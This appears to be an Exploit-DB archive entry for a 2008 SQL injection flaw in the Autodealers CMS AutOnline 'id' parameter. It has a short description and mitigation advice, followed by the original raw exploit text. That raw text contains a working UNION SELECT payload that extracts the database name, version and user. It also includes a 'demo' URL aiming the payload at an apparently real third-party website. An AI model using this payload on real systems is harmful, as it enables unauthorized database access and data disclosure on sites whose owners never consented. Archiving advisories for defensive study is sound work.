Autodealers CMS AutOnline (id) SQL Injection Vulnerability

vendor:

AutOnline

by:

ZoRLu

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: AutOnline

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Autodealers CMS AutOnline (id) SQL Injection Vulnerability

An SQL injection vulnerability exists in Autodealers CMS AutOnline. The vulnerability is due to the application failing to properly sanitize user-supplied input to the 'id' parameter in the 'index.php' script. An attacker can exploit this vulnerability to inject and execute arbitrary SQL commands in the application's back-end database, potentially resulting in the manipulation or disclosure of arbitrary data. The attacker can also leverage this issue to gain access to the application with administrative privileges.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically construct SQL queries. Additionally, parameterized queries should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

############################################################################################################
[+] Autodealers CMS AutOnline (id) SQL Injection Vulnerability
[+] Discovered By ZoRLu
[+] home: z0rlu.blogspot.com & yildirimordulari.org & r00tsecurity.org & darkc0de.org                    
[+] Greetz: str0ke, FaLCaTa, ProgenTR, Ryu, Phantom Orchid, edish, SON-KRAL & all Muslims HaCkeRs   
[+] trt-turk@hotmail.co  &  zorlu@w.cn                 
############################################################################################################
[+]
[+]
[+]
[+]

   exploit:
http://localhost/script_path/index.php?page=detail&id=[SQL]

[+]
[+]
[+]
[+]

   [SQL]=
ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+]
[+]
[+]   
[+]

   demo:
http://www.aartsvastgoed.nl/aankoopvastgoed/index.php?page=detail&id=ZoRLu'%20union%20select%20null,concat(database(),0x3a,version(),0x3a,user()),null,concat(database(),0x3a,version(),0x3a,user()),null,null,null,null,null/*

[+]
[+] 
[+]
[+] 
############################################################################################################

# milw0rm.com [2008-09-11]